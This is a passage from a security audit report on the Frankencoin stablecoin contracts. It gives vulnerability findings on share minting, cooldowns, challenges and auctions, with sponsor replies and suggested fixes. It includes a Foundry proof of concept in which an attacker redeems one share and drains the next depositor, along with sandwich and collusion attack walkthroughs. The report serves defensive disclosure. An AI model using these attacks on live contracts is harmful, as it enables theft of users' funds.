Submitted by MiloTruck, also found by giovannidisiena, DedOhWale, and yixxas
In the Equity contract, the calculateSharesInternal() function is used to determine the amount of shares minted whenever a user deposits Frankencoin:
function calculateSharesInternal(uint256 capitalBefore, uint256 investment) internal view returns (uint256) {
uint256 totalShares = totalSupply();
uint256 newTotalShares = totalShares < 1000 * ONE_DEC18 ? 1000 * ONE_DEC18 : _mulD18(totalShares, _cubicRoot(_divD18(capitalBefore + investment, capitalBefore)));
return newTotalShares - totalShares;
}Note that the return value is the amount of shares minted to the depositor.
Whenever the total amount of shares is less than 1000e18, the depositor will receive 1000e18 - totalShares shares, regardless of how much Frankencoin he has deposited. This functionality exists to mint 1000e18 shares to the first depositor.
However, this is a vulnerability as the total amount of shares can decrease below 1000e18 due to the redeem() function, which burns shares:
function redeem(address target, uint256 shares) public returns (uint256) {
require(canRedeem(msg.sender));
uint256 proceeds = calculateProceeds(shares);
_burn(msg.sender, shares);The following check in calculateProceeds() only ensures that totalSupply() is never below 1e18:
require(shares + ONE_DEC18 < totalShares, "too many shares"); // make sure there is always at least one shareAs such, if the total amount of shares decreases below 1000e18, the next depositor will receive 1000e18 - totalShares shares instead of an amount of shares proportional to the amount of Frankencoin deposited. This could result in a loss or unfair gain of Frankencoin for the depositor.
Impact
If the total amount of shares ever drops below 1000e18, the next depositor will receive a disproportionate amount of shares, resulting in an unfair gain or loss of Frankencoin.
Moreover, by repeatedly redeeming shares, an attacker can force the total share amount remain below 1000e18, causing all future depositors to lose most of their deposited Frankencoin.
Proof of Concept
Consider the following scenario:
- Alice deposits 1000 Frankencoin (
amount = 1000e18), gaining1000e18shares in return. - After 90 days, Alice is able to redeem her shares.
-
Alice calls
redeem()withshares = 1to redeem 1 share:- The total amount of shares is now
1000e18 - 1.
- The total amount of shares is now
-
Bob deposits 1000 Frankencoin (
amount = 1000e18). IncalculateSharesInternal():totalShares < 1000 * ONE_DEC18evalutes to true.- Bob receives
newTotalShares - totalShares = 1000e18 - (1000e18 - 1) = 1shares.
Although Bob deposited 1000 Frankencoin, he received only 1 share in return. As such, all his deposited Frankencoin can be redeemed by Alice using her shares. Furthermore, Alice can cause the next depositor after Bob to also receive 1 share by redeeming 1 share, causing the total amount of shares to become 1000e18 - 1 again.
Note that the attack described above is possbile as long as an attacker has sufficient shares to decrease the total share amount below 1000e18.
The following Foundry test demonstrates the scenario above:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../contracts/Frankencoin.sol";
contract ShareManipulation_POC is Test {
Frankencoin zchf;
Equity reserve;
address ALICE = address(0x1);
address BOB = address(0x2);
function setUp() public {
// Setup contracts
zchf = new Frankencoin(10 days);
reserve = Equity(address(zchf.reserve()));
// Give both ALICE and BOB 1000 Frankencoin
zchf.suggestMinter(address(this), 0, 0, "");
zchf.mint(ALICE, 1000 ether);
zchf.mint(BOB, 1000 ether);
}
function test_NextDepositorGetsOneShare() public {
// ALICE deposits 1000 Frankencoin, getting 1000e18 shares
vm.prank(ALICE);
zchf.transferAndCall(address(reserve), 1000 ether, "");
// Time passes until ALICE can redeem
vm.roll(block.number + 90 * 7200);
// ALICE redeems 1 share, leaving 1000e18 - 1 shares remaining
vm.prank(ALICE);
reserve.redeem(ALICE, 1);
// BOB deposits 1000 Frankencoin, but gets only 1 share
vm.prank(BOB);
zchf.transferAndCall(address(reserve), 1000 ether, "");
assertEq(reserve.balanceOf(BOB), 1);
// All of BOB's deposited Frankencoin accrue to ALICE
vm.startPrank(ALICE);
reserve.redeem(ALICE, reserve.balanceOf(ALICE) - 1e18);
assertGt(zchf.balanceOf(ALICE), 1999 ether);
}
}Recommendation
As the total amount of shares will never be less than 1e18, check if totalShares is less than 1e18 instead of 1000e18 in calculateSharesInternal():
function calculateSharesInternal(uint256 capitalBefore, uint256 investment) internal view returns (uint256) {
uint256 totalShares = totalSupply();
- uint256 newTotalShares = totalShares < 1000 * ONE_DEC18 ? 1000 * ONE_DEC18 : _mulD18(totalShares, _cubicRoot(_divD18(capitalBefore + investment, capitalBefore)));
+ uint256 newTotalShares = totalShares < ONE_DEC18 ? 1000 * ONE_DEC18 : _mulD18(totalShares, _cubicRoot(_divD18(capitalBefore + investment, capitalBefore)));
return newTotalShares - totalShares;
}This would give 1000e18 shares to the initial depositor and ensure that subsequent depositors will never receive a disproportionate amount of shares.
Similar to
#983, yet different.
#880describes a similar issue except that the lowering of shares is due to restructure, duping to this one.
luziusmeisser (Frankencoin) acknowledged and commented:
In theory, this is possible. In practice, I assume the number of shares to always be significantly above 1000 and this issue not to be of practical relevance.
hansfried (judge) decreased severity to Medium
[M-04] anchorTime() will not work properly on Optimism due to use of block.number
Submitted by peakbolt, also found by Udsen and Tricko
When deploying to Optimism, Equity.anchorTime() will not be accurate due to the use of block.number.
function anchorTime() internal view returns (uint64){
return uint64(block.number << BLOCK_TIME_RESOLUTION_BITS);
}Impact
The inaccuracy of block.number will affect the computation of the holding duration for the votes. That will affect redeem() as the issue will cause it to deviate from the intended design of 90 days minimum holding duration (stated in comments).
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L54-L59
Detailed Explanation
Noted that the devs have mentioned that it is conceivable that Frankencoin will be deployed on other evm chains. So it is worth reviewing the use of block.number, such that it is compatible with other chains like Optimism.
On Optimism, the block.number is not a reliable source of timing information and the time between each block is also different from Ethereum. This is because each transaction on L2 is placed in a separate block and blocks are not produce at a constant rate. This will cause the holding duration computation using anchorTime() to fluctuate. (see Optimism docs https://community.optimism.io/docs/developers/build/differences/#block-numbers-and-timestamps)
Recommended Mitigation Steps
Consider using block.timestamp instead of block.number for more accurate measurement of time.
luziusmeisser (Frankencoin) confirmed and commented:
I guess I should switch from block number to timestamp.
[M-05] Owner of Denied Position is not able to withdraw collateral until expiry
Submitted by yellowBirdy, also found by carrotsmuggler, Norah, ChrisTina, BenRai, and GreedyGoblin
Lines of code
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L112
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L263
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L373-L376
Vulnerability details
Denying a position puts it into perma cooldown state ie. cooldown ends at expiry. It’s impossible to withdraw collateral in the cooldown state.
Impact
Locks owner funds until expiry, expiry time is not capped and can be expected to be long. There is no benefit to the owner to set it shorter and be forced to repay the position at an inconvenient time. Hence a high risk exists to lock the collateral semi permanently
Proof of Concept
Consider owner trying to call withdrawCollateral on a denied position
function deny(address[] calldata helpers, string calldata message) public {
if (block.timestamp >= start) revert TooLate();
IReserve(zchf.reserve()).checkQualified(msg.sender, helpers);
cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end
emit PositionDenied(msg.sender, message);
}
function withdrawCollateral(address target, uint256 amount) public onlyOwner noChallenge noCooldown {
uint256 balance = internalWithdrawCollateral(target, amount);
checkCollateral(balance, price);
}
modifier noCooldown() {
if (block.timestamp <= cooldown) revert Hot();
_;
}- Successful call all to
denywill setcooldown = expiry - Subsequent call to
withdrawCollateralwill be reverted bynoCooldownmodifier
Recommended Mitigation Steps
Return the collateral to the owner at the end of deny
function deny(address[] calldata helpers, string calldata message) public {
if (block.timestamp >= start) revert TooLate();
IReserve(zchf.reserve()).checkQualified(msg.sender, helpers);
cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end
internalWithdrawCollateral(owner, IERC20(collateral).balanceOf(address(this)));
emit PositionDenied(msg.sender, message);
}Might be a design choice, will leave open for sponsor to comment.
Severity should be medium since funds aren’t lost but are locked for some period of time.
luziusmeisser (Frankencoin) confirmed and commented:
Excellent point! This is not intended and will be addressed. The owner of a denied position should be allowed to withdraw their collateral. Severity high is ok due to the high likelihood of this happening to innocent users, even though it is not a real loss of assets.
hansfriese (judge) decreased severity to Medium
[M-06] Challengers and bidders can collude together to restrict the minting of position owner
Submitted by peanuts, also found by Kumpa, m9800, deliriusz, __141345__, ltyu, KIntern_NA, T1MOH, GreedyGoblin, rvierdiiev, LegendFenGuin, J4de, and deadrxsezzz
There is no restrictions as to how many challenges can occur at one given auction time. A challenger can potentially create an insanely large amount of challenges with a tiny amount of collateral for each challenge.
function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
IPosition position = IPosition(_positionAddr);
IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
uint256 pos = challenges.length;
challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
position.notifyChallengeStarted(_collateralAmount);
emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
return pos;
}Let’s say if the fair price of 1000 ZCHF is 1 WETH, and the position owner sets his position at the fair price. Rationally, there will be no challenges and bidders because the price is fair. However, the challenger can attack the position owner this way:
- Set a small amount of collateralAmount to challenge, ie 0.0001 WETH.
- The bidder comes and bid a price over 1000* ZCHF (Not the actual amount*. The actual amount is an equivalent amount scaled to the collateral, but for simplicity sake let’s just say 1000 ZCHF, ideally its like 1000 * 0.0001 worth)
- Because the bid is higher than 1000* ZCHF, tryAvertChallenge() succeeds and the bidder buys the collateral from the challenger.
- When tryAvertChallenge() succeeds, restrictMinting(1 days) is called to suspend the owner from minting for 1 additional day
- If the challenger and the bidder is colluding or even the same person, then the bidder does not lose out because he is essentially buying the collateral for a higher price from himself.
- The challenger and bidder can repeat this attack and suspend the owner from minting. Such attack is possible because there is nothing much to lose other than a small amount of gas fees
function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) {
if (block.timestamp >= expiration){
return false; // position expired, let every challenge succeed
} else if (_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount){
// challenge averted, bid is high enough
challengedAmount -= _collateralAmount;
// Don't allow minter to close the position immediately so challenge can be repeated before
// the owner has a chance to mint more on an undercollateralized position
//@audit-- calls restrictMinting if passed
restrictMinting(1 days);
return true;
} else {
return false;
}
} function restrictMinting(uint256 period) internal {
uint256 horizon = block.timestamp + period;
if (horizon > cooldown){
cooldown = horizon;
}
}Impact
Minting for Position owner will be suspended for a long time.
Recommended Mitigation Steps
In this Frankencoin protocol, the challenger never really loses.
If the bid ends lower than the liquidation price, then the bidder wins because he bought the collateral at a lower market value. The challenger also wins because he gets his reward. The protocol owner loses because he sold his collateral at a lower market value.
If the bid ends higher than the liquidation price, then the bidder loses because he bought the collateral at a higher market value. The challenger wins because he gets to trade his collateral for a higher market value. The protocol owner neither wins nor loses.
The particular POC above is one way a challenger can abuse his power to create many challenges without any sort of consequence in order to attack the owner. In the spirit of fairness, the challenger should also lose if he challenges wrongly.
Every time a challenger issues a challenge, he should pay a small fix sum of money that will go to the owner if the bidder sets an amount higher than fair market value. (because that means that the protocol owner was right about the fair market value all along.)
Although the position owner can be a bidder himself, if the position owner bids on his own position in order to win this small amount of money, the position owner will lose at the same time because he is buying the collateral at a higher-than-market price from the challenger, so this simultaneous gain and loss will balance out.
#385highlights that even without the added cooldown - there’s no price exacted from the challenger in case they fail.
This can lead to false challenges that DoS legitimate positions, hoping to win some of the challenges by chance.
luziusmeisser (Frankencoin) confirmed and commented:
Note that challenges must have a minimum size, so launching a large number of challenges locks up a significant amount of funds.
However, it is true that a challenger and a bidder that collude could trigger a cooldown period.
This is a valid issue. My mitigation is to not allow a challenge to be launched and averted in the same block. This ensures that the challenger has some money at risk as the challenger cannot be sure that it will be the bidder he is colluding with that can buy the collateral at a discount.
Example:
- Alice has a position with WETH as collateral at liquidation price 500 ZCHF and a minimum collateral amount of 10 WETH.
- Bob launches a challenge with 10 WETH.
- Bob wants to bid on his own challenge in the next block, but gets frontrun by Charles, who buys the 10 WETH from Bob at a price of only 5000 ZCHF. Assuming 1 WETH is worth 2000 ZCHF, Bob suffers from a loss of 15000 ZCHF.
[M-07] Need alternative ways for fund transfer in end() to prevent DoS
Submitted by __141345__, also found by joestakey, peanuts, cccz, bin2chen, said, Emmanuel, KIntern_NA, KIntern_NA, ladboy233, and SaeedAlipoor01988
The end() function to conclude a challenge involves several fund transfer, including the return of challenger’s collateral, challenger’s reward transfer, the bidder’s excess return, position owner’s excess fund return. Further, in Position.sol#notifyChallengeSucceeded(), underlying collateral withdrawal. If anyone transfer of the above failed and revert, all the other transfer calls will fail. The fund could be stuck temporarily or forever.
Proof of Concept
The issue here is the external dependence of fund transfer. There could be several scenarios the individual transfer could fail. Such as erc20 0 amount transfer revert, position transfer ownership to addr(0), zchf not enough balance, or other unexpected situations encountered, many other functionality will also be affected.
0 amount transfer
Concurrent challenges are allowed in the auction as per the comment in Position.sol
333: // Challenge is larger than the position. This can for example happen if there are multiple concurrent
334: // challenges that exceed the collateral balance in size. In this case, we need to redimension the bid and
335: // tell the caller that a part of the bid needs to be returned to the bidder.So in one position, there could be many challenges at the same time, the challengedAmount can exceed the total collateral balance. As a result, the last challenger to call MintingHub.sol#end() will end up with 0 collateral transfer even if the challenge succeed. If the corresponding collateral erc20 revert on 0 amount transfer, the whole end() call will fail, further locking the collateral of the challenger.
Since the total collateral balance is not enough to pay all the challengeAmount, eventually the collateral balance of the position will be drained, leaves nothing for those who have not call end() yet. When they call end(), the challenger’s collateral and bidder’s excess fund should be returned like below:
File: contracts/MintingHub.sol
252: function end(uint256 _challengeNumber, bool postponeCollateralReturn) public {
257: returnCollateral(challenge, postponeCollateralReturn);
260: (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
261: if (effectiveBid < challenge.bid) {
262: // overbid, return excess amount
263: IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);
264: }Then in notifyChallengeSucceeded(), the amount for collateral withdrawal will be 0.
File: contracts/Position.sol
329: function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {
330: challengedAmount -= _size;
331: uint256 colBal = collateralBalance();
332: if (_size > colBal){
333: // Challenge is larger than the position. This can for example happen if there are multiple concurrent
334: // challenges that exceed the collateral balance in size. In this case, we need to redimension the bid and
335: // tell the caller that a part of the bid needs to be returned to the bidder.
336: _bid = _divD18(_mulD18(_bid, colBal), _size);
337: _size = colBal;
338: }
352: internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
268: function internalWithdrawCollateral(address target, uint256 amount) internal returns (uint256) {
269: IERC20(collateral).transfer(target, amount);However some erc20 will revert on 0 amount transfer. Such as (e.g., LEND -> see https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers), it reverts for transfer with amount 0. Hence the whole end() call will fail, leading to lock of challenger’s collateral and bidder’s fund. Because the returnCollateral() and bid fund return are inside function end(), the revert of notifyChallengeSucceeded() could prevent the return of both.
Although some collaterals used now may not revert on 0 amount transfer, many erc20 are upgradable, it is unknown if they will change the implementation in the future upgrades.
Position owner being addr(0)
If a position owner transferring the ownership to addr(0), and the challenge involves return excess fund to the owner, in line 268 of MintingHub.sol the transfer will revert due to the ERC20 requirement.
File: contracts/MintingHub.sol
252: function end(uint256 _challengeNumber, bool postponeCollateralReturn) public {
260: (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
261: if (effectiveBid < challenge.bid) {
262: // overbid, return excess amount
263: IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);
264: }
265: uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
266: uint256 fundsNeeded = reward + repayment;
267: if (effectiveBid > fundsNeeded){
268: zchf.transfer(owner, effectiveBid - fundsNeeded);
File: contracts/ERC20.sol
151: function _transfer(address sender, address recipient, uint256 amount) internal virtual {
152: require(recipient != address(0));Not enough balance in zchf
When the protocol incur multiple loss event, the balance could be too low. In such extreme situations, the zchf transfer would also fail. The end() would DoS temporarily.
Recommended Mitigation Steps
A more robust way to handle multiple party fund transfer is to provide alternative ways to refund apart from all in one in end(). Just like the returnPostponedCollateral() in MintingHub.sol.
- In
end(), record the amount should be transferred to each user, and provide option for them to pull the fund later. If separate the transfer fromend(), provide the option for the challenger and bidder to pull the fund, then in the case that the other transfer or external calls fail inend(), the fund transfer will not dependent on other unexpected factors, and the system could be more robust. - Check for the total challenge amount, disallow the total challenge to be more than the position collateral .
#675and many others mention blacklist.
#711also mentions ERC777.
luziusmeisser (Frankencoin) confirmed and commented:
Generally, the FPS holders can deny tokens that do not confirm to the ERC20 in the desired way. However, tricks like setting the position owner to null still can do harm. This needs to be addressed.
Yes, the second part is a duplicate of 670. I approved 670 as an individual issue as the attack path is unique. So the real contribution of this issue doesn’t contain 670. I approved only the first part for this issue.
[M-08] initializeClone() price calculation should round up
Submitted by bin2chen
initializeClone() Price calculations use round down, which only works if divisible , If precision is lost, it will revert
Proof of Concept
When clone positon, _initialCollateral and _initialMint are used to calculate the price of the clone position
The code is as follows:
function initializeClone(address owner, uint256 _price, uint256 _limit, uint256 _coll, uint256 _mint) external onlyHub {
if(_coll < minimumCollateral) revert InsufficientCollateral();
setOwner(owner);
price = _mint * ONE_DEC18 / _coll; //<----------use round down
if (price > _price) revert InsufficientCollateral();
limit = _limit;
mintInternal(owner, _mint, _coll);
emit PositionOpened(owner, original, address(zchf), address(collateral), _price);
}- The price calculation formula
price = _mint * ONE_DEC18 / _coll， useround down - In the next step
mintInternal()will execute mint, and internally will callcheckCollateral()
function checkCollateral(uint256 collateralReserve, uint256 atPrice) internal view {
if (collateralReserve * atPrice < minted * ONE_DEC18) revert InsufficientCollateral();
}checkCollateral() will check collateralReserve * atPrice < minted * ONE_DEC18
This has a problem, when calculating the price and there is a precision loss in price (round down), then checkCollateral() will definitely revert
Because if precision loss occurs, collateralReserve * atPrice will be 1 less than minted * ONE_DEC18
For example:
_initialCollateral = 101e18;
_initialMint = 100e18;
Due to round down price = 0.99e18
Then checkCollateral () will revert because 101e18 * 0.99e18 < 100e18 * 1e18
Here is the demo code:
Will revert InsufficientCollateral in checkCollateral ()
Add to GeneralTest.t.sol
function testCloneRevert() external {
// 0.get 1000 for open bad position
alice.obtainFrankencoins(swap, 1000 ether);
col.mint(address(alice), 1001);
// 1. open new position
vm.startPrank(address(alice));
col.approve(address(hub), 1001);
uint256 oldPrice = 1 * (10 ** 36);
Position pos = Position(hub.openPosition(address(col), 100, 1001, 1000000 ether, 100 days, 1 days, 25000, oldPrice, 200000));
skip(7 * 86_400 + 60);
console.log("0.pos price:",pos.price());
// 2.pass _initialMint _initialCollateral , will round down
uint256 _initialCollateral = 1001;
uint256 _initialMint = 1000 * 10**18;
uint256 newPrice = _initialMint * 10**18 / _initialCollateral;
console.log("1.new price:",newPrice);
console.log("1.new price Bigger than old ?:",newPrice > oldPrice);
col.mint(address(alice), _initialCollateral);
col.approve(address(hub), _initialCollateral);
// 3. clonePosition will revert , Although the parameters are all legal
hub.clonePosition(address(pos),_initialCollateral , _initialMint);
vm.stopPrank();
}
}$ forge test --match testCloneRevert -vvv
Running 1 test for test/GeneralTest.t.sol:GeneralTest
[FAIL. Reason: InsufficientCollateral()] testCloneRevert() (gas: 2230875)
Logs:
0.pos price: 1000000000000000000000000000000000000
1.new price: 999000999000999000999000999000999000
1.new price Bigger than old ?: false
Traces:
[2131375] GeneralTest::testCloneRevert() It is recommended to use round up.
Recommended Mitigation Steps
function initializeClone(address owner, uint256 _price, uint256 _limit, uint256 _coll, uint256 _mint) external onlyHub {
...
price = _mint * ONE_DEC18 / _coll;
+ if ( price * _coll != _mint * ONE_DEC18 ) price += 1; // round up, avoid mintInternal() revert InsufficientCollateralImpact seems insignificant
Rounding down just means the price will decrease by a small percentage. Changing this to rounding up might cause a different edge case where an attacker can slightly increase the price by rounding.
Seems correct. Sponsor review requested.
luziusmeisser (Frankencoin) commented:
Yes, I can confirm this issue. It doesn’t do much harm, but can cause some inconvenience when interacting with the protocol as it only works properly with cleanly divisible amounts for “mint” and “collateral”.
[M-09] Unable to adjust position in some cases
Submitted by John, also found by 4710710N
The adjust function in Position.sol is designed to adjust the outstanding amount of ZCHF, the collateral amount, and the price in a single transaction.
However, there are certain cases where this function always reverts.
Assuming the new price is greater than the current price, if the value of newCollateral is less than colbal or the value of newMinted is greater than minted, the adjust function will always revert with a customized error message reading Hot.
Proof of Concept
If the value of newPrice is great than value of price, the restrictMinting function is triggered.
In this case, if the value of cooldown exceeds block.timestamp + 3 days, cooldown will be update to block.timestamp + 3 days, therefore, both the withdrawCollateral and mint functions will be reverted with custom error because of noCooldown modifier.
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L132-L152
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159-L167
I will share the test code
it("Will revert adjest tx when newPrice is greater than prevPrice", async () => {
let collateral = mockVOL.address;
let fliqPrice = floatToDec18(1000);
let minCollateral = floatToDec18(1);
let fInitialCollateral = floatToDec18(initialCollateral);
let duration = BN.from(14*86_400);
let fFees = BN.from(fee * 1000_000);
let fReserve = BN.from(reserve * 1000_000);
let openingFeeZCHF = await mintingHubContract.OPENING_FEE();
let challengePeriod = BN.from(7 * 86400); // 7 days
await mockVOL.connect(accounts[0]).approve(mintingHubContract.address, fInitialCollateral);
let balBefore = await ZCHFContract.balanceOf(owner);
let balBeforeVOL = await mockVOL.balanceOf(owner);
let tx = await mintingHubContract["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"]
(collateral, minCollateral, fInitialCollateral, initialLimit, duration, challengePeriod, fFees, fliqPrice, fReserve);
let rc = await tx.wait();
const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened
const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
positionAddr = log.address;
let balAfter = await ZCHFContract.balanceOf(owner);
let balAfterVOL = await mockVOL.balanceOf(owner);
let dZCHF = dec18ToFloat(balAfter.sub(balBefore));
let dVOL = dec18ToFloat(balAfterVOL.sub(balBeforeVOL));
expect(dVOL).to.be.equal(-initialCollateral);
expect(dZCHF).to.be.equal(-dec18ToFloat(openingFeeZCHF));
positionContract = await ethers.getContractAt('Position', positionAddr, accounts[0]);
console.log("price:",await positionContract.price());
console.log("minted:",await positionContract.minted());
await ethers.provider.send('evm_increaseTime', [7 * 86_400 + 60]);
await ethers.provider.send("evm_mine");
let erx = positionContract.adjust(1, floatToDec18(8), floatToDec18(1200))
await expect(erx).to.be.revertedWithCustomError(positionContract, "Hot");
console.log("price:",await positionContract.price());
console.log("minted:",await positionContract.minted());
});Recommended Mitigation Steps
To solve this problem, we can modify the “adjust” function like this;
function adjust(uint256 newMinted, uint256 newCollateral, uint256 newPrice) public onlyOwner {
uint256 colbal = collateralBalance();
if (newCollateral > colbal){
collateral.transferFrom(msg.sender, address(this), newCollateral - colbal);
}
// Must be called after collateral deposit, but before withdrawal
if (newMinted < minted){
zchf.burnFrom(msg.sender, minted - newMinted, reserveContribution);
minted = newMinted;
}
if (newCollateral < colbal){
withdrawCollateral(msg.sender, colbal - newCollateral);
}
// Must be called after collateral withdrawal
if (newMinted > minted){
mint(msg.sender, newMinted - minted);
}
if (newPrice != price){
adjustPrice(newPrice);
}
}Might be a design choice, need sponsor’s input on this one.
luziusmeisser (Frankencoin) confirmed and commented:
I wouldn’t call this a ‘vulnerability’ but convenience is definitely improved by the recommended mitigation.
[M-10] No slippage control when minting and redeeming FPS
Submitted by cccz, also found by joestakey, joestakey, giovannidisiena, giovannidisiena, santipu_, DishWasher, SolidityATL, KIntern_NA, and ToonVH
When minting and redeeming FPS in Equity, there is no slippage control. Since the price of FPS will change with the zchf reserve in the contract, users may suffer from sandwich attacks.
Consider the current contract has a zchf reserve of 1000 and a total supply of 1000.
Alice considers using 4000 zchf to mint FPS. Under normal circumstances, the contract reserve will rise to 5000 zchf, and the total supply will rise to (5000/1000)**(1/3)*1000 = 1710, that is, alice will get 1710 - 1000 = 710 FPS.
Bob holds 400 FPS, and bob observes alice’s transaction in MemPool, bob uses MEV to preemptively use 4000 zchf to mint 710 FPS.
When alice’s transaction is executed, the contract reserve will increase from 5000 to 9000 zchf, and the total supply will increase from 1710 to (9000/5000)**(1/3)*1710 = 2080, that is, alice gets 2080-1710 = 370FPS.
Then bob will redeem 400 FPS, the total supply will drop from 2080 to 1680, and the contract reserve will drop from 9000 to (1689/2080)**3*9000 = 4742, that is, bob gets 9000-4742 = 4258 zchf.
Bob’s total profit is 310 FPS and 258 zchf.
Proof of Concept
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L241-L255
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L266-L270
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L275-L282
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L290-L297
Recommended Mitigation Steps
Consider setting minFPSout and minZCHFout parameters to allow slippage control when minting and redeeming FPS
luziusmeisser (Frankencoin) confirmed:
[M-11] Later challengers can bid on the previous challenge to extend the expiration time of the previous challenge, so that their own challenge can succeed before the previous challenge and get challenge rewards
Submitted by cccz, also found by RaymondFam
When bidders bid, if the expiration time of the challenge is less than 30 minutes, the expiration time will be extended.
uint256 earliestEnd = block.timestamp + 30 minutes;
if (earliestEnd >= challenge.end) {
// bump remaining time like ebay does when last minute bids come in
// An attacker trying to postpone the challenge forever must increase the bid by 0.5%
// every 30 minutes, or double it every three days, making the attack hard to sustain
// for a prolonged period of time.
challenge.end = earliestEnd;
}However, extending the expiration time will break the order of the challenges, so that the later challenges will succeed before the previous ones, thus affecting the challenger’s reward expectations.
Consider the following scenario:
- There is a collateral of 2 WETH in a position, and as the actual price of WETH drops, challengers are attracted to challenge it.
- In block 1, alice uses 2 WETH to challenge the position, and the expiration time is block 7201
- At block 2, bob challenges the position with 2 WETH, expiring at block 7202
- The bidder then bids 4000 ZCHF each for alice’s and bob’s challenges.
- In block 7200, bob finds that if alice’s challenge is successful, then bob will not be able to get the challenge reward, so bob bids 4200 ZCHF to alice’s challenge. Alice’s challenge expiration time is extended to block 7351.
- At block 7201, alice cannot call end to make the challenge successful because the expiration time is extended
- At block 7202, bob successfully calls end to make his challenge successful and gets the challenge reward.
- In block 7351, alice calls the end function. Since the collateral in the position is 0 at this time, alice will not be able to get the challenge reward, and bob’s 4200 zchf will be returned.
function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {
challengedAmount -= _size;
uint256 colBal = collateralBalance();
if (_size > colBal){
// Challenge is larger than the position. This can for example happen if there are multiple concurrent
// challenges that exceed the collateral balance in size. In this case, we need to redimension the bid and
// tell the caller that a part of the bid needs to be returned to the bidder.
_bid = _divD18(_mulD18(_bid, colBal), _size);
_size = colBal;
}
// Note that thanks to the collateral invariant, we know that
// colBal * price >= minted * ONE_DEC18
// and that therefore
// price >= minted / colbal * E18
// such that
// volumeZCHF = price * size / E18 >= minted * size / colbal
// So the owner cannot maliciously decrease the price to make volume fall below the proportionate repayment.
uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral
// The owner does not have to repay (and burn) more than the owner actually minted.
uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things evenProof of Concept
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L217-L224
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L350
Recommended Mitigation Steps
Consider implementing a challenge queue that allows the end function to be called on subsequent challenges only after previous challenges have ended.
luziusmeisser (Frankencoin) acknowledged and commented:
Bids must at least be 0.5% higher than the previous bid, so pro-longing the challenge four times already costs as much as the whole challenger reward of 2%, making this attack not very attractive under normal circumstances.
—> Not worth to add any complexity to change this.
[M-12] Auctions fail to account for network and market conditions
Submitted by 3th
Under certain extreme, but inevitable, network conditions, auctions will not be effective in covering the bad debt of a challenged position. Worse, certain position parameters under these conditions can lead to extremely small bids winning large amounts of collateral. More details follow in the next section, but it should be noted that this same design oversight was responsible for almost destroying Dai in March of 2020—the closest MakerDAO has ever been to utilizing its emergency shutdown module.
Proof of Concept
When the Ethereum network becomes highly congested, the price of gas can skyrocket to incredible levels. During times like these, users of the network will limit their activity to only the most urgent matters—in the case of March 12th, 2020, for example, the only people paying the exorbitant network fees were rushing to exit their positions as the price of ETH (and everything else) began to free fall.
On that day, MakerDAO’s collateral auctions were slipping by unnoticed, as the bots that would typically compete in the majority of these auctions saw failing transactions, hit cost limits defined by their owners, or were simply deactivated. An attacker noticed them, however, and began winning auctions on liquidated collateral with bids of zero ETH.
This exact vulnerability exists in the Frankencoin system, and it can be exploited under exactly the same circumstances. If a challenge only has a single bid when the challenge period ends, and that bid is near zero, the bid will still win the collateral regardless of how much it is actually worth.
At first glance, Frankencoin developers might be tempted to believe that the dynamic challenge period on its positions will allow for the system to rely primarily on auctions that can outlast abnormally volatile days. In practice, however, this is unlikely to be true, since “safe” positions will likely end up with very short challenge periods. This is unavoidable, because the vast majority of ZCHF will be backed by these types of collateral, and the system risks carrying untenable amounts of bad debt ever more the longer these challenge periods are extended. And extending these windows does not actually solve the problem anyways, since the bad debt cannot be covered until they end.
